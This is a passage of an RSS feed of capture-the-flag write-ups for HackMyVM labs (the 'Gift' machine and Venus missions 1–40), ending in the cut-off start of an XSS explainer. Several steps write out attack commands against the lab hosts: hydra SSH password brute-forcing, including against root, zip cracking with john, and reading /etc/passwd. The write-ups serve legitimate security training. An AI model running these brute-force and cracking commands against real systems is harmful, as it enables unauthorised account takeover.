            <content:encoded><![CDATA[<h3>HackMyVm : Machine — Gift</h3><h4>Complete walkthrough of HackMyVm machine — Gift.</h4><blockquote>URL : <a href="https://hackmyvm.eu/machines/machine.php?vm=Gift">https://hackmyvm.eu/machines/machine.php?vm=Gif</a>t</blockquote><p>Let’s start off by running a network scan using nmap.</p><ul><li>nmap -sV 192.168.0.107</li><li>-sV : <em>Probe open ports to determine service/version info</em></li></ul><p>We can find 2 ports open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/0*fNMVAdX0aBja-ioY.png" /></figure><p>Now let’s start with the ssh port</p><p>To find out the password we have to brute force, for this, we can use hydra.</p><ul><li>hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.0.107 ssh</li><li>-l : login name</li><li>-P : mention the file that contains the possible passwords.</li></ul><p>We obtain the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*OOMQ0H7EfrDpZlDx.png" /></figure><p>Now let’s ssh into the machine</p><ul><li>ssh root@192.168.0.107</li><li>ssh [username]@[address]</li></ul><p>When prompted enter the password we got from hydra and we are in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*gonExu7F3wUQPA5q.png" /></figure><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9fcf8afcd71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVM — Venus mission 30 to 40]]></title>
            <link>https://greenorangge1.medium.com/hackmyvm-venus-mission-30-to-40-5e4f2d8f5985?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e4f2d8f5985</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackmyvm-venus]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Mon, 26 Dec 2022 12:39:55 GMT</pubDate>
            <atom:updated>2022-12-26T12:44:57.768Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackMyVM — Venus mission 30 to 40</h3><p>HackMyVM venus — wargame HOW TO with images. Missions : 30 31 32 33 34 35 36 37 38 39 40</p><h3>Mission 30</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*dOsSxrBo3-u9KdgT.png" /></figure><ul><li>User kira seems to be hiding something in a php file.</li><li>let’s curl the url <a href="http://localhost/method.php">http://localhost/method.php</a></li><li>it returns a iI dont like this method!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*ynig8qvpMGJNra8A.png" /></figure><ul><li>hmmm… so we have to find another method to access this file.</li><li>For http, there are different methods:</li></ul><p><em>POST, GET, PUT, DELETE</em></p><ul><li>By default, the curl uses the GET method</li><li>We can try the PUT method, as PUT method is idempotent,i.e, for a single request it provides the same effect on the server as the effect of making several identical requests.</li><li>For those who are curious, POST method won&#39;t work, as POST method is not idempotent, i.e, each request will have a different effect on the server.</li><li>curl -X PUT <a href="http://localhost/method.php">http://localhost/method.php</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/0*ZLNshkPEf8tvzljD.png" /></figure><h3>Mission 31</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*uSOGqKKlFfKeGJHf.png" /></figure><ul><li>Let’s get the data on waiting.php</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*K1Drg56CcwhQJ0t_.png" /></figure><ul><li>Ok, so we have to use the user-agent header for this mission.</li><li>curl http://localhost/waiting.php -H &quot;user-agent: PARADISE&quot;</li><li>-H is used to set header value</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*C8No6kXuKbumXBMh.png" /></figure><h3>Mission 32</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*DVwxBbm_vjkLEvDp.png" /></figure><ul><li>aliases are used to store a particular commmand.</li><li>creating an alias</li><li>alias alias_name=&quot;command_to_run&quot;</li><li>to view the aliases, all we have to do is type alias in the cmd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*4D0wj_AHZN20R2bz.png" /></figure><h3>Mission 33</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/0*_i8WUgWt1vrcuWK_.png" /></figure><ul><li>Ok, so we have to extract the compressed file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/0*HGC8DKoddeg2kAZL.png" /></figure><p>1 : it is a tar archive</p><p>2 : since we don&#39;t have permission to create files in the home directory we create one in the /tmp dir</p><p>3 : extraction tar -xf zip.gz --directory /tmp/mission_33</p><p>x tell the tar to extract</p><p>f specifies the file</p><ul><li>now let’s go to the dir in /tmp and we find the password</li></ul><h3>Mission 34</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*2MFsGimI3ng1BW2o.png" /></figure><ul><li>If we cat the file we find all gibberish, nothing makes sense to us</li><li>We can use strings to find the strings in the file</li><li>strings trash we can find the pass for the next mission ( we have to remove the first 2 letters)</li></ul><h3>Mission 35</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*Zi32nN7co6lMGttZ.png" /></figure><ul><li>Ok so we have to find the last 2 letters of the password, by brute forcing using hydra</li><li>For coming up with a wordlist for brute-forcing ssh, we can write a python script</li></ul><pre>import string<br># storing the given password<br>known_pass = &quot;v7xUVE2e5bjUc&quot;<br># stored all the lowercase letters<br>letters = string.ascii_lowercase<br># used to generate the wordlist<br>for letter_1 in letters:<br>    for letter_2 in letters:<br>        new_pass = known_pass + letter_1 + letter_2<br>        print(new_pass)</pre><ul><li>let’s run the code and store the output in a wordlist python3 mission_35_wordlist.py &gt; wordlist_35.txt</li><li>we are storing the output to wordlist_35.txt</li><li>now we can use hydra to bruteforce</li><li>hydra -l gloria -P wordlist_35.txt venus.hackmyvm.eu -s 5000 -t 4 ssh</li></ul><p>l takes a single user parameter</p><p>P takes the password wordlist</p><p>s takes the port number</p><p>t specifies the number of threads, 4 is recommended</p><ul><li>it might take a while</li></ul><h3>Mission 36</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*7DO7fb6wU6kr9N2m.png" /></figure><ul><li>cat image gives us a qr code, when i tried scanning it through my mobile, the qr was not getting recognized due to the # symbols</li><li>Now let’s try changing those # symbols into blocks so that the qr can be scanned</li><li>First copy the qr and paste in on your local system and save the file</li></ul><pre># Opening the file we saved which has the qr code, we use r to denote we are opening the file to read<br>with open(&#39;[path_of_the_file]&#39;, &#39;r&#39;) as qr:<br>    lines = qr.readlines()<br># we are reading line by line and replacing all the &#39;#&#39; symbols with a block google what (0x2588) is<br>for l in lines:<br>    print(l.replace(&#39;#&#39;, chr(0x2588)), end=&#39;&#39;)</pre><ul><li>once we run this program we get a qr code which can be scanned by the phone, and we get the password for the next mission.</li></ul><h3>Mission 37</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*O2VVEKOMr6SZ3hWZ.png" /></figure><ul><li>Let’s try strings music.iso</li><li>And we get the password for the next level</li></ul><h3>Mission 38</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/0*IXS2c9vrL3JOct-a.png" /></figure><ul><li>We can use the diff command</li><li>it is used to compare files line by line. diff 1.txt 2.txt</li><li>we get the password for the next mission</li></ul><h3>Mission 39</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/0*grbqCiDhgkQ93Rx4.png" /></figure><ul><li>We have the private key id_rsa.pem , public key id_rsa.pub, and the encrypted file pass.enc</li><li>openssl rsautl -decrypt -inkey id_rsa.pem -in pass.enc</li><li>We use openssl to decrypt the files</li><li>rsautl for encrypting and decrypting files with RSA keys</li><li>decrypt</li><li>we get the password for the next mission</li></ul><h3>Mission 40</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/0*krxraED4oNgkDJS0.png" /></figure><ul><li>cat wtf</li><li>this seems like morse code</li><li>we can decode this using an online morse decoder (<a href="https://morsecode.world/international/translator.html">here</a>).</li></ul><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e4f2d8f5985" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVM — Venus mission 20 to 29]]></title>
            <link>https://greenorangge1.medium.com/hackmyvm-venus-mission-20-to-29-59dbd7b87664?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/59dbd7b87664</guid>
            <category><![CDATA[venus-mission-20-to-30]]></category>
            <category><![CDATA[hackmyvm-venus]]></category>
            <category><![CDATA[venus-mission]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Mon, 21 Mar 2022 15:27:41 GMT</pubDate>
            <atom:updated>2022-12-25T16:16:23.166Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackMyVM — Venus mission 21 to 29</h3><p>HackMyVM venus — wargame HOW TO with images</p><h3>Mission 21</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*FfxvAf7OYZWJtcwr.png" /></figure><ul><li>now let’s copy the file to our home directory in our local system</li><li>scp -P 5000 iris@venus.hackmyvm.eu:~/eloise ~/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/0*0yHiWghhCX-lDR95.png" /></figure><ul><li>This looks like base64 encoded</li><li>cat eloise</li><li>Base64 encoded data will always have the following characteristic:</li><li>The length of a Base64-encoded string is always a multiple of 4</li><li>Only these characters are used by the encryption: “A” to “Z”, “a” to “z”, “0” to “9”, “+” and “/”</li><li>The end of a string can be padded up to two times using the “=”-character (this character is allowed in the end only) <a href="https://www.hannesholst.com/blog/how-to-identify-a-base64-encoded-string/#:~:text=The%20length%20of%20a%20Base64,allowed%20in%20the%20end%20only">reference</a></li><li>Let’s decode it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jZ4wJI59TiZNgH2-.png" /></figure><ul><li>so it is an image, open that image and you’ll find the password for the next level!!</li></ul><h3>Mission 22</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*3sDuH7tHoXkUhmy-.png" /></figure><ul><li>lets copy the file to out local machine</li><li>scp -P 5000 eloise@venus.hackmyvm.eu:~/hi ~/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*6IzHjPT-C2IApvmq.png" /></figure><ul><li>This is hexadecimal characters</li><li>Now we should revert them back, we can do this using xxd (man xxd)</li><li>xxd -r hi</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/0*tQODNJC8fZ2LIeJ5.png" /></figure><h3>Mission 23</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*53-ceh2V-7MKJGcE.png" /></figure><ul><li>So in this level we have to try searching all the names in the dict.txt file, if it exists in the /etc/xdg folder</li><li>while IFS= read -r line; do find /etc/xdg/$line 2&gt;/dev/null ; done &lt; dict.txt</li><li>Add IFS= option before read command to prevent leading/trailing whitespace from being trimmed.</li><li>The -r option passed to read command prevents backslash escapes from being interpreted.</li><li>then we are passing using the find command to search for the file using the variable line i.e each line of the dict.txt file</li><li>2&gt;/dev/null is used to dump all the error messages and show only the output</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MP3yozHynWdXKKKC.png" /></figure><ul><li>We get the password for isabel!!</li></ul><h3>Mission 24</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kik9DKpmDWi68Xe5.png" /></figure><blockquote><em>There is a mistake, the file name is not </em><em>repeated.txt it is </em><em>different.txt</em></blockquote><ul><li>uniq -u different.txt</li><li>-u is used to only print unique lines</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/0*0L4uAifOJ2R0wMYW.png" /></figure><h3>Mission 25</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zt1PFNCjjvYux3mk.png" /></figure><ul><li>For this we can use crontabs <a href="https://linux.die.net/man/5/crontab">read more</a>; <a href="https://crontab.guru/#*_*_*_*">cron sceduler</a></li><li>let us create a cron job that copies all the files of the /free directory</li><li>let’s create a direcory mkdir /tmp/hj and let&#39;s just add a file - touch test</li><li>now open crontab using crontab -e</li><li>and add this i</li><li>what this does is it copies all the contents of /free and puts it to /tmp/hj, every minute</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BDiUyDFV_BtwYTmT.png" /></figure><h3>Mission 26</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/0*C0gEOTDWGqNc1rxw.png" /></figure><ul><li>curl localhost</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*pSVaXUnYk3hPudc2.png" /></figure><h3>Mission 27</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sZKDHXQxCzhkV0Ik.png" /></figure><ul><li>we have a .swp file <a href="https://fileinfo.com/extension/swp#:~:text=An%20SWP%20file%20is%20a,to%20the%20currently%2Dopen%20file.">read more</a>, let&#39;s open it using vi .goas.swp after opening it, press colon :recover, we get this, hit enter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*pwV9tYBUmck8gn92.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/0*y3nEzYQe91IgCQsp.png" /></figure><ul><li>now we have to brute force into lola’s account using these passwords, so let’s make this file a suitable wordlist,</li><li>go to the start of the file using gg and delete the first line using dd</li><li>now go down using the j key, and delete the --&gt; using dw, go to the start of the next line and pres ., this repeates the previous step, i.e dw deletes the --&gt;</li><li>now go down using j and press ., repeat these for all lines</li><li>now let’s save this, since we don’t have permission to save it in home directory we can save in the /tmp directory</li><li>:w /tmp/lola_dict.txt - saves the file in /tmp</li><li>Now to brute force the password, we can use hydra, let&#39;s copy the dict file to our local machine</li><li>scp -P 5000 ariel@venus.hackmyvm.eu:/tmp/lola_dict.txt ~/</li><li>hydra -l lola -P lola_dict.txt ssh://venus.hackmyvm.eu:5000</li><li>-l user</li><li>-P password file</li><li>[service://server[:PORT][/OPT]]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1vUbzDwj2_L_MvKX.png" /></figure><h3>Mission 28</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tN7BcOJFwwnrCUH6.png" /></figure><ul><li>we can do this by navigating to the /var/www/html directory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ke3C71hdhG2zxH5L.png" /></figure><p>OR</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*Rlk7n-y_MO2qqKyA.png" /></figure><h3>Mission 29</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*ptju5k4DuDjB7M7R.png" /></figure><ul><li>login to mysql mysql -p</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s4e0iuqLnMEwiSj8.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/0*jaNzL5fGp9AecYtO.png" /></figure><ul><li>we can find the user nina who also exists on the venus machine, so let&#39;s take her password!</li></ul><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59dbd7b87664" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVM — Venus mission 10 to 20]]></title>
            <link>https://greenorangge1.medium.com/hackmyvm-venus-mission-10-to-20-668ee068a72a?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/668ee068a72a</guid>
            <category><![CDATA[mission-10-to-20]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[venus-mission]]></category>
            <category><![CDATA[venus-mission-10-to-20]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Sun, 06 Mar 2022 09:21:07 GMT</pubDate>
            <atom:updated>2022-03-06T09:21:07.334Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackMyVM — Venus mission 10 to 20</h3><h4>Venus — Mission 10 to 20, HOW TO with images</h4><h4>Mission 10</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBElNzHhs1AKCrEk.png" /></figure><ul><li>cat passy | grep -i &quot;^a9HFX&quot;</li><li>grep is used to find strings in a text file</li><li>-i is used to match strings irrespective of the case(lower or upper)</li><li>^ used to denote the start of the string</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*WaQFGz-9vcRPanf9.png" /></figure><h4>Mission 11</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_RKmGKZWBEa_oQEZ.png" /></figure><ul><li>cat end | grep -i &quot;0JuAZ$&quot;</li><li>grep is used to find strings in a text file</li><li>-i is used to match strings irrespective of the case(lower or upper)</li><li>$ is used to denote the end of the string</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*Ni6d_P0_owSlJqD1.png" /></figure><h4>Mission 12</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*g4V7WDa3HaSf1QhA.png" /></figure><ul><li>cat file.yo | grep &quot;^fu.*ck$&quot;</li><li>grep is used to find strings in a text file</li><li>$ is used to denote the end of the string</li><li>^ used to denote the start of the string</li><li>.* denotes an arbitrary string of arbitrary length</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*r6MU6iNBoRetNU8N.png" /></figure><h4>Mission 13</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/0*c2lKFtfj0DMlKXGk.png" /></figure><ul><li>env</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xxvYMdAjjsYH5179.png" /></figure><h3>Mission 14</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FC-IEfVdG1LEt2VF.png" /></figure><ul><li>it is mostly the /etc/passwd</li><li>cat /etc/passwd | grep &quot;alice&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/0*mBMmkEuw6JkMvWXR.png" /></figure><h3>Mission 15</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*hrKJ8nnLqDFHP-LO.png" /></figure><ul><li>let’s try sudo -l</li><li>it lists the allowed commands for that particular user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dI9UeSs0jDq3IcwF.png" /></figure><ul><li>using sudo -u natalia /bin/bash</li><li>this runs the command as the specified user</li><li>from the above we know that it has access to the /bin/bash file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*qRuWVRi-sgr_CfYb.png" /></figure><ul><li>we get the password for natalia</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*pgtMeY5NtKQylBUU.png" /></figure><h3>Mission 16</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*EXaVms_T9SIPLMeO.png" /></figure><ul><li>base64 -d base64.txt</li><li>base64</li><li>-d to decode the text</li><li>followed by the file name</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/0*kqu3dGSvN5-1OLYa.png" /></figure><h3>Mission 17</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QkuDEMh-8kP9FblD.png" /></figure><ul><li>find / -type f -mtime +18980 2&gt;/dev/null</li><li>-mtime it is a file property confirming the last time the file was modified</li><li>(2022-1970) * 365 = 18980</li><li>the + indicates older than 1970</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*3O9mCwvpyc9DahW1.png" /></figure><h3>Mission 18</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xUZ1IJ2NfTXLNqBU.png" /></figure><ul><li>run this on you local machine (<a href="https://linuxize.com/post/how-to-use-scp-command-to-securely-transfer-files/">about scp</a>)</li><li>scp -P 5000 clara@venus.hackmyvm.eu:~/protected.zip ~/</li><li>this is used to securely copy files from the remote location to your local desktop</li><li>-P mentions the ssh port</li><li>SYNTAX : scp [OPTION] [user@]SRC_HOST:]file1 [user@]DEST_HOST:]file2</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TNGWOk5l17na2DuE.png" /></figure><ul><li>zip2john protected.zip &gt; pass</li><li>we are getting the hashed form of the password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EXj_R3AVFDgFI5ix.png" /></figure><ul><li>john pass --wordlist=/usr/share/wordlists/rockyou.txt</li><li>after executing this command we get the password for the protected zip file</li><li>now we have to get the password for frida</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/0*KMM0DvJj-Qg6MA4E.png" /></figure><h3>Mission 19</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kfcb1NT-aRNlLiW_.png" /></figure><ul><li>we can use the commadn uniq</li><li>uniq -d repeated.txt</li><li>uniq is used to filter adjacent matching lines</li><li>-d is used to print only repeated lines</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*y3GzdVr3FzqjxHq6.png" /></figure><h3>Mission 20</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rkyvrMzHHuFJAt8S.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rsZMymckQ4F3UYqf.png" /></figure><ul><li>I’m not sure why the first one did not work</li><li>ssh -i .iris_key iris@localhost</li><li>here localhost denotes computers IP and the port it is using, since we are already logged into venus.hackmyvm.eu I think it works</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/0*lIVT76RHZvRW_WwT.png" /></figure><ul><li>we get the password for iris</li></ul><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=668ee068a72a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVM Mission 1 to 10]]></title>
            <link>https://greenorangge1.medium.com/hackmyvm-mission-1-to-10-6d601ddbc05a?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d601ddbc05a</guid>
            <category><![CDATA[mission-1-to-10]]></category>
            <category><![CDATA[venus]]></category>
            <category><![CDATA[venus-mission]]></category>
            <category><![CDATA[hackmyvm-venus]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Mon, 07 Feb 2022 14:57:40 GMT</pubDate>
            <atom:updated>2022-02-14T05:21:05.844Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackMyVM — Venus: Mission 1 to 10</h3><h4>Chapter 1: Venus — Mission 1 to 10</h4><p>This can be found <a href="https://hackmyvm.eu/venus/">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*-rmqvXtNWA7_DNaezGfqPA.png" /></figure><pre>Host: venus.hackmyvm.eu<br><br>Port: 5000<br><br>User: hacker<br><br>Pass: havefun!</pre><ul><li>let&#39;s login using ssh hacker@venus.hackmyvm.eu -p 5000</li><li>description ssh user@host -p (port number)</li><li>after logging in:</li></ul><h3>Mission 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gm7oi-vZTe8nZFY0.png" /></figure><ul><li>we can use the ls command to list the contents of the directory</li><li>cat is used the print the file contents as output</li><li>so the password is saved in a hidden file</li><li>let&#39;s try ls -a</li><li>the -a is used to list hidden files (read more about it using man ls)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oPwOnPLXIA_fPRlm.png" /></figure><ul><li>We get the password for the next level!!</li><li>Now we have to login as sophia using the obtained password</li><li>we can use su sophia</li><li>su is used to switch users or run a command with a substitute user</li><li>so here we are switching the user to sophia</li><li>when we try ls we get a permission denied message</li><li>now let&#39;s go back a directory cd .. and ls</li><li>we can find many users, let&#39;s go to sophia</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6p1ha-AAWo5j687M.png" /></figure><ul><li>here we can find the flag and the next mission!</li></ul><h3>Mission 2</h3><ul><li>For this mission, we have to find a file called whereismypazz.txt</li><li>we can use a command find</li><li>find / -name whereismypazz.txt -type f 2&gt;/dev/null</li><li>here / tells to find from the root directory</li><li>-name flag is used to specify the name</li><li>-type f is used to specify the type of files here -f mentions files, -d is used for directories</li><li>2&gt;/dev/null is a file descriptor used to dump all the errors and not display them in the output</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Lo7z68P756sEi9ru.png" /></figure><ul><li>now we can log in as angela and proceed to the next mission</li></ul><h3>Mission 3</h3><ul><li>The password for emma is stored in line 4069 of the file findme.txt</li><li>We can read through each line of the file, but there is a more efficient way to do it</li><li>we can use cat and grep</li><li>cat -n findme.txt | grep &quot;4069&quot;</li><li>cat -n numbers all the output lines</li><li>once the lines are numbered, we can grep them (check man grep)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/0*pAkj01fciJv09iFG.png" /></figure><h3>Mission 4</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*2TgjxYrd0P8zeXh2.png" /></figure><ul><li>cat ./-</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/0*eWD0WhCXHsX-41hU.png" /></figure><h3>Mission 5</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HQn7BvI5R2uMEpXh.png" /></figure><ul><li>find / -name hereiam -type d 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/0*OSjbRGllihgSwCy0.png" /></figure><h3>Mission 6</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kxYXkMEUmz6ZSjXR.png" /></figure><ul><li>find . -type f</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WCQrXx8JqfwMyBJq.png" /></figure><h3>Mission 7</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i60zKJMpmAUh1ajG.png" /></figure><ul><li>find / -type f -size 6969c 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*Fa2ivIVK_uNO95hS.png" /></figure><h3>Mission 8</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_QrmqxRwlMRyfFxg.png" /></figure><ul><li>find / -type f -user violin 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/0*MceAwa4VHNcvfcGB.png" /></figure><h3>Mission 9</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Amo6a91NTPbYGAlF.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/0*z2LIMXdoG_3rKKL8.png" /></figure><ul><li>since we don&#39;t have permissions, we should create a directory in the /tmp directory</li><li>unzip passw0rd.zip -d /tmp/hj</li><li>-d is used to mention an optional directory to which to extract files</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*1pCslNSSic_5z4wh.png" /></figure><h3>Mission 10</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gSUbRhDXS4wXAFkJ.png" /></figure><ul><li>cat passy | grep -i &quot;^a9HFX&quot;</li><li>grep is used to find strings in a text file</li><li>-i is used to match strings irrespective of the case(lower or upper)</li><li>^ used to denote the start of the string</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*VR1aw6zCStV8xTi8.png" /></figure><p>Give this a 👏 if you found it useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d601ddbc05a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS — Cross-Site Scripting]]></title>
            <link>https://greenorangge1.medium.com/xss-cross-site-scripting-9fd1188f9209?source=rss-359cc968104a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fd1188f9209</guid>
            <category><![CDATA[web-vulnerabilities]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[owasp-xss]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Hritesh J]]></dc:creator>
            <pubDate>Sat, 05 Feb 2022 08:35:51 GMT</pubDate>
            <atom:updated>2022-02-05T08:35:51.355Z</atom:updated>
            <content:encoded><![CDATA[<h3>XSS — Cross-Site Scripting</h3><h4>A brief about Cross-Site Scripting (XSS), what it is, how it is caused, types, and a few ways of preventing it.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iRUA34o5eQ28T6SClGHuQ.jpeg" /><figcaption>Image by <a href="https://pixabay.com/users/tumisu-148124/?utm_source=link-attribution&amp;amp;utm_medium=referral&amp;amp;utm_campaign=image&amp;amp;utm_content=3390518">Tumisu</a>&lt;/a&gt; from <a href="https://pixabay.com/?utm_source=link-attribution&amp;amp;utm_medium=referral&amp;amp;utm_campaign=image&amp;amp;utm_content=3390518">Pixabay</a></figcaption></figure><h4>Introduction</h4><p>Cross-Site Scripting (XSS) is a web security vulnerability, where an attacker injects inserts malicious scripts into legitimate websites. It is a client-side code injection and can exist wherever there is a user input to the website.</p><h4>What?</h4><p>A successful XSS can be carried out when there are flaws in the written code. When the attacker injects malicious scripts into websites, and when the end-user opens the injected website, the browser loads the website with the malicious code because it thinks the script came from a trusted source.</p><p>This allows the attacker to gain control over the user&#39;s interactions with that website. Cookies can be stolen and can be used to impersonate the 